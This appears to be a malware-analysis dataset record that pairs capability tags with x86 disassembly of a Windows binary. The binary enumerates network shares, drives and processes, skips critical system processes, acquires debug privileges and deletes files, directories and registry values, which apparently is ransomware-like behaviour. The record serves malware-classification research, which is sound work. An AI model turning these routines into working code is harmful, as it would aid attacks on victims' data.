joyce8/EMBER2024-capa huggingface dataset:
Function at 0x467e90
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5737d0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ecx
mov edi, dword [ebp + 0xc]
mov esi, edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], eax
cmp dword [edi + 0x14], 8
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x28], ecx
jb 0x467ee1
mov esi, dword [edi]
lea ebx, [eax + eax]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x467f01
nop
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x467ef0
mov ebx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x18]
mov eax, dword [ebx + 0xc]
and ecx, edx
mov esi, dword [ebx + 4]
mov dword [ebp - 0x24], ecx
lea eax, [eax + ecx*8]
mov dword [ebp - 0x1c], eax
cmp esi, dword [eax]
je 0x467f81
mov esi, dword [eax + 4]
mov esi, dword [esi]
cmp esi, dword [eax]
je 0x467f81
mov esi, dword [esi + 4]
cmp dword [esi + 0x1c], 8
lea edx, [esi + 8]
mov eax, dword [edx + 0x10]
jb 0x467f36
mov edx, dword [edx]
cmp dword [edi + 0x14], 8
mov ecx, edi
jb 0x467f40
mov ecx, dword [edi]
cmp dword [edi + 0x10], eax
mov eax, dword [ebp - 0x1c]
jne 0x467f21
push dword [edi + 0x10]
call fcn.00452ff0
add esp, 4
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x467f21
mov eax, dword [ebp - 0x20]
mov dword [eax], esi
mov byte [eax + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebx + 4]
push edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax + 4]
push ecx
push eax
mov dword [ebp - 0x18], ecx
call fcn.0045a130
mov edx, eax
mov ecx, 0x7fffffe
mov eax, dword [ebx + 8]
sub ecx, eax
cmp ecx, 1
jb 0x46803c
inc eax
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x18]
mov dword [eax], edx
mov edi, dword [ebx + 4]
mov edi, dword [edi]
mov dword [ebp - 0x18], edi
mov eax, dword [edi]
cmp esi, eax
je 0x467ff1
mov ecx, dword [edi + 4]
mov dword [ecx], eax
mov ecx, dword [eax + 4]
mov dword [ecx], esi
mov ecx, dword [esi + 4]
mov dword [ecx], edi
mov ecx, dword [eax + 4]
mov edx, dword [esi + 4]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov dword [edi + 4], edx
push dword [ebp - 0x24]
mov ecx, ebx
push esi
push edi
call fcn.0045a220
mov ecx, ebx
mov dword [ebp - 4], 2
call fcn.0045a180
mov eax, dword [ebp - 0x20]
mov dword [eax], edi
mov byte [eax + 4], 1
jmp 0x467f63
push str.list_T__too_long
call fcn.0052c7ee
int3
Function at 0x468240
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 0xffffffff
push eax
push ecx
push 0x13
push 0
push 2
mov dword [ebp - 0xc], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x468364
mov esi, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esi, 0x40
push esi
push 8
push dword [0x5f3314]
call edi
mov ebx, eax
mov dword [ebp - 0x18], ebx
test ebx, ebx
je 0x468286
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x46834c
xor edi, edi
cmp dword [ebp - 8], edi
jbe 0x468332
lea esi, [ebx + 0x14]
nop
test byte [esi - 8], 2
je 0x4682d0
lea ecx, [esi - 0x14]
call fcn.00468240
jmp 0x468326
push dword [esi]
push str.___Found_Share_Path:__s
call fcn.00463ab0
mov ebx, dword [esi]
sub esp, 0x10
mov edx, esp
xor eax, eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov eax, ebx
lea ecx, [eax + 2]
mov dword [ebp - 0x14], ecx
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x468300
sub eax, dword [ebp - 0x14]
mov ecx, edx
sar eax, 1
push eax
push ebx
call fcn.0044a910
mov ecx, 1
call fcn.00473a90
add esp, 0x18
inc edi
add esi, 0x20
cmp edi, dword [ebp - 8]
jb 0x4682c0
mov ebx, dword [ebp - 0x18]
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x4682b4
push ebx
push 0
push dword [0x5f3314]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x10]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0052f395
mov esp, ebp
pop ebp
ret
Function at 0x469120
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x5f31d8], 0
push ebx
push esi
push edi
jne 0x46914f
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret
push str.___CreateHostTable...
call fcn.00463ab0
mov eax, dword [0x5f31d4]
add esp, 4
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
xor bl, bl
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
nop dword [eax]
push 0x20
mov byte [ebp - 0x19], bl
call fcn.0052f5a6
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov eax, 0x14
mov ecx, esi
nop dword [eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x4691a0
mov eax, dword [ebp - 0x1c]
push 1
push 0
push 0
push 6
push 1
mov dword [esi + 0x18], eax
push 2
mov byte [esi + 0x1c], 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x4691df
push 0x20
push esi
call fcn.0052f5d6
add esp, 8
jmp 0x469270
mov ecx, 0x10
lea eax, [ebp - 0x14]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4691e7
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
mov dword [ebp - 0x10], ecx
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x469221
push dword [esi + 0x14]
call edi
push 0x20
push esi
call fcn.0052f5d6
add esp, 8
jmp 0x469270
push 0
push 2
push dword [0x5f3334]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x46920f
mov esi, dword [0x5f31bc]
lea eax, [ebp - 0x18]
push eax
mov edi, dword [esi + 4]
push edi
push esi
call fcn.0045aac0
mov edx, dword [0x5f31c0]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x4692c2
inc edx
mov dword [0x5f31c0], edx
mov dword [esi + 4], eax
mov dword [edi], eax
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
inc bl
cmp bl, 0xff
jb 0x469180
mov eax, dword [0x5f31d4]
push 0xc
mov edx, dword [eax]
push edx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
dec dword [0x5f31d8]
call fcn.0052f5d6
push 4
push dword [ebp - 0x20]
call fcn.0052f5d6
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0052f395
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.0052c7ee
int3
Function at 0x46a4c0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 8
lea edx, [ebp - 8]
push ebx
push esi
push 0
push edx
push 0
push 0x20106
push 0
push 0
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test esi, esi
jne 0x46a520
cmp dword [ebp + 0x34], 8
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
mov edx, dword [ebp + 0x1c]
sete bl
cmp edx, 8
jb 0x46a559
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46a54f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46a5b5
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov edx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp edx, 8
jb 0x46a5a3
mov ecx, dword [ebp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46a599
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46a5b5
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.0052f395
mov esp, ebp
pop ebp
ret
call fcn.0054b071
int3
Function at 0x46af70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x10]
push eax
push 0x5ddd18
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x46afb4
xor esi, esi
jmp 0x46aff6
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
neg eax
mov dword [ebp - 0x20], 1
push 0
sbb eax, eax
push 0
and eax, 2
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
neg esi
sbb esi, esi
inc esi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x46b004
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0052f395
mov esp, ebp
pop ebp
ret 8

Function at 0x46b050
Capabilities:
Delete file
Set file attributes

Disassembly:
cmp dword [ecx + 0x18], 8
push esi
lea esi, [ecx + 4]
mov eax, esi
jb 0x46b05e
mov eax, dword [esi]
push 0x80
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [esi + 0x14], 8
jb 0x46b075
mov esi, dword [esi]
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop esi
ret
Function at 0x46c040
Capabilities:
Check os version
Delete directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573cb8
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword fs:[0x2c]
mov edx, dword [eax]
mov eax, dword [0x5f3378]
cmp eax, dword [edx + 4]
jle 0x46c0e3
push 0x5f3378
call fcn.0052fa2d
add esp, 4
cmp dword [0x5f3378], 0xffffffff
jne 0x46c0e3
push 0x110
lea eax, [ebp - 0x138]
mov dword [ebp - 0x13c], 0x114
push 0
push eax
call fcn.005471b0
add esp, 0xc
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x138], 6
push 0x5f3378
sbb eax, eax
neg eax
mov dword [0x5f3368], eax
call fcn.0052f9e3
add esp, 4
cmp dword [esi + 0x18], 8
lea edx, [esi + 4]
jb 0x46c0ee
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46c107
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044a910
mov dword [ebp - 4], 0
cmp dword [0x5f3368], 0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
je 0x46c1a9
test ecx, ecx
je 0x46c1f8
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, esi
cmp word [eax + ecx*2 - 2], 0x2e
jne 0x46c1a9
cmp ecx, edx
jae 0x46c16e
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
cmovae eax, esi
mov dword [eax + ecx*2], 0x2e
jmp 0x46c186
push 0x2e
mov byte [ebp - 0x140], 0
push dword [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x28]
call fcn.0044c230
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
cmp ecx, edx
jae 0x46c1da
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
mov dword [eax + ecx*2], 0x5c
jmp 0x46c1f2
test ecx, ecx
je 0x46c1f8
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, esi
cmp word [eax + ecx*2 - 2], 0x5c
je 0x46c1f8
cmp ecx, edx
jae 0x46c1da
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
cmovae eax, esi
mov dword [eax + ecx*2], 0x5c
jmp 0x46c1f2
push 0x5c
mov byte [ebp - 0x140], 0
push dword [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x28]
call fcn.0044c230
mov esi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
cmp edx, 8
lea eax, [ebp - 0x28]
push 0x80
cmovae eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edx, dword [ebp - 0x14]
mov esi, eax
cmp edx, 8
jb 0x46c257
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46c24d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46c273
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret
call fcn.0054b071
int3
Function at 0x46c4c0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573d8b
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ecx, dword [0x5ddde8]
mov ebx, eax
mov dword [ebp - 0x18], ecx
mov cx, word [0x5dddec]
mov dword [ebp - 0x224], ebx
mov word [ebp - 0x14], cx
test ebx, ebx
je 0x46c6b3
nop dword [eax + eax]
mov edi, ebx
test bl, 1
je 0x46c69e
push 0x208
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.005471b0
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x104
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x46c69e
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 4
jne 0x46c5d0
lea eax, [ebp - 0x220]
mov dl, 3
movzx ecx, word [eax]
cmp ecx, 0x5c
jne 0x46c583
add dl, 0xff
je 0x46c58d
add eax, 2
test cx, cx
jne 0x46c576
jmp 0x46c5d0
mov ebx, eax
lea ecx, [ebp - 0x220]
sub ebx, ecx
sar ebx, 1
nop dword [eax]
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x46c5b1
cmp ecx, 0x5c
jne 0x46c5a0
movzx edx, word [eax + 2]
lea eax, [eax + 2]
inc bl
movzx ecx, bl
mov word [ebp + ecx*2 - 0x220], dx
test dx, dx
jne 0x46c5b1
mov ebx, dword [ebp - 0x224]
xor eax, eax
mov dword [ebp - 0x22c], 0
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x228], 7
mov word [ebp - 0x23c], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46c5f6
sub ecx, edx
lea eax, [ebp - 0x220]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x23c]
call fcn.0044a910
lea eax, [ebp - 0x23c]
mov dword [ebp - 4], 0
push eax
mov ecx, 0x5f3370
call fcn.004601f0
lea ecx, [ebp - 0x18]
mov edx, eax
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46c640
sub ecx, esi
lea eax, [ebp - 0x18]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0044a910
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x228]
cmp edx, 8
jb 0x46c69e
mov ecx, dword [ebp - 0x23c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46c694
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46c6cf
push edx
push ecx
call fcn.0052f5d6
add esp, 8
inc word [ebp - 0x18]
shr ebx, 1
mov dword [ebp - 0x224], ebx
cmp edi, 2
jae 0x46c520
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret
call fcn.0054b071
int3
Function at 0x46c6e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573dcc
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x5f336c]
cmp eax, dword [ecx + 4]
jle 0x46c780
push 0x5f336c
call fcn.0052fa2d
add esp, 4
cmp dword [0x5f336c], 0xffffffff
jne 0x46c780
mov dword [ebp - 4], 0
mov dword [0x5f3370], 0
mov dword [0x5f3374], 0
call fcn.00462010
push 0x576c60
mov dword [0x5f3370], eax
call fcn.0052f86f
add esp, 4
mov dword [ebp - 4], 0xffffffff
push 0x5f336c
call fcn.0052f9e3
add esp, 4
cmp dword [0x5f3374], 0
jne 0x46c78e
call fcn.0046c4c0
cmp dword [edi + 0x10], 0
lea esi, [edi + 0x10]
je 0x46c806
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x46c7a1
mov eax, dword [edi]
push 0xb
push str.SystemRoot
push eax
call fcn.00553462
add esp, 0xc
test eax, eax
jne 0x46c810
push 0x208
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.005471b0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46c7e5
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
push 0xb
push ecx
mov ecx, edi
call fcn.00470d80
mov eax, 1
jmp 0x46c8dc
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x46c81a
mov eax, dword [edi]
push 4
push str.___
push eax
call fcn.00553462
add esp, 0xc
test eax, eax
jne 0x46c862
mov eax, dword [esi]
mov ecx, 4
cmp eax, ecx
cmovb ecx, eax
cmp dword [edi + 0x14], 8
jb 0x46c842
mov edi, dword [edi]
sub eax, ecx
mov dword [esi], eax
lea eax, [eax*2 + 2]
push eax
lea eax, [edi + ecx*2]
push eax
push edi
call fcn.00547590
add esp, 0xc
mov eax, 1
jmp 0x46c8dc
mov eax, dword [0x5f3370]
mov esi, dword [eax]
cmp esi, eax
je 0x46c8da
nop dword [eax]
cmp dword [esi + 0x24], 8
lea eax, [esi + 0x10]
jb 0x46c87b
mov eax, dword [eax]
cmp dword [edi + 0x14], 8
mov ecx, edi
jb 0x46c885
mov ecx, dword [edi]
push dword [esi + 0x20]
push eax
push ecx
call fcn.00553462
add esp, 0xc
test eax, eax
je 0x46c8f7
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x46c8bc
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x46c8b8
cmp esi, dword [eax + 8]
jne 0x46c8b8
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x46c8a8
mov esi, eax
jmp 0x46c8d2
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x46c8d2
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x46c8c6
cmp esi, dword [0x5f3370]
jne 0x46c870
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x20]
add esi, 0x28
cmp dword [esi + 0x14], 8
mov ecx, dword [esi + 0x10]
jb 0x46c908
mov esi, dword [esi]
push ecx
push esi
push eax
push ecx
mov ecx, edi
call fcn.00470d80
mov eax, 1
jmp 0x46c8dc
Function at 0x46eac0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call fcn.00470b30
push 0
push 2
mov dword [ebp - 0x270], str.spoolsv.exe
mov dword [ebp - 0x26c], str.sihost.exe
mov dword [ebp - 0x268], str.fontdrvhost.exe
mov dword [ebp - 0x264], str.cmd.exe
mov dword [ebp - 0x260], str.dwm.exe
mov dword [ebp - 0x25c], str.LogonUI.exe
mov dword [ebp - 0x258], str.lsass.exe
mov dword [ebp - 0x254], str.csrss.exe
mov dword [ebp - 0x250], str.smss.exe
mov dword [ebp - 0x24c], str.winlogon.exe
mov dword [ebp - 0x248], str.services.exe
mov dword [ebp - 0x244], str.conhost.exe
mov dword [ebp - 0x240], str.everything.exe
mov dword [ebp - 0x23c], 0x5f2c10
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x238], ebx
test ebx, ebx
je 0x46ec40
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x46ec39
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push esi
nop word [eax + eax]
xor esi, esi
push dword [ebp + esi*4 - 0x270]
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
je 0x46ebce
inc esi
cmp esi, 0xe
jl 0x46ebb2
jmp 0x46ec21
push 4
call fcn.0052f5a6
mov ecx, dword [ebp - 0x228]
add esp, 4
mov dword [ebp - 0x234], eax
mov dword [eax], ecx
lea eax, [ebp - 0x234]
mov esi, dword [0x5f31dc]
push eax
mov ebx, dword [esi + 4]
push ebx
push esi
call fcn.0045aac0
mov edx, dword [0x5f31e0]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x46ec4f
inc edx
mov dword [0x5f31e0], edx
mov dword [esi + 4], eax
mov dword [ebx], eax
mov ebx, dword [ebp - 0x238]
lea eax, [ebp - 0x230]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x46ebb0
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0052f395
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.0052c7ee
int3
Function at 0x46ec60
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.0052fd80
mov eax, dword [0x5ebea4]
xor eax, esp
mov dword [esp + 0x1068], eax
push ebx
push esi
push edi
mov word [esp + 0x12], dx
lea eax, [esp + 0x870]
mov edi, ecx
mov esi, 0x800
mov byte [eax], 0
lea eax, [eax + 1]
sub esi, 1
jne 0x46ec94
mov ecx, 0x800
lea eax, [esp + 0x70]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x46ecb0
mov ecx, 0x44
lea eax, [esp + 0x28]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x46ecc4
mov ecx, 0x10
lea eax, [esp + 0x14]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x46ece0
push edi
lea eax, [esp + 0x874]
mov word [esp + 0x5c], dx
push eax
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x24]
xor bl, bl
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
je 0x46ed5a
push dword [esi]
lea eax, [esp + 0x74]
push 0x400
push eax
call fcn.00552c06
add esp, 0xc
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp word [esp + 0x70], 0
mov eax, 1
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [esp + 0x14]
xor ecx, ecx
push eax
lea eax, [esp + 0x2c]
test bl, bl
push eax
lea eax, [esp + 0x78]
cmove eax, ecx
push eax
push ecx
xor eax, eax
mov ecx, 0x8000000
cmp word [esp + 0x22], ax
cmove eax, ecx
push eax
push 0
push 0
push 0
lea eax, [esp + 0x890]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, dword [esp + 0x1c]
test eax, eax
je 0x46edf1
push edi
lea eax, [esp + 0x874]
push eax
push str.___Success_run:__s__pid:_i_
call fcn.00463ab0
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x46edc8
push dword [ebp + 0xc]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x14]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1068]
xor ecx, esp
call fcn.0052f395
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x874]
push eax
push str.___Failed_to_run:__s__Code__lu.
call fcn.00463ab0
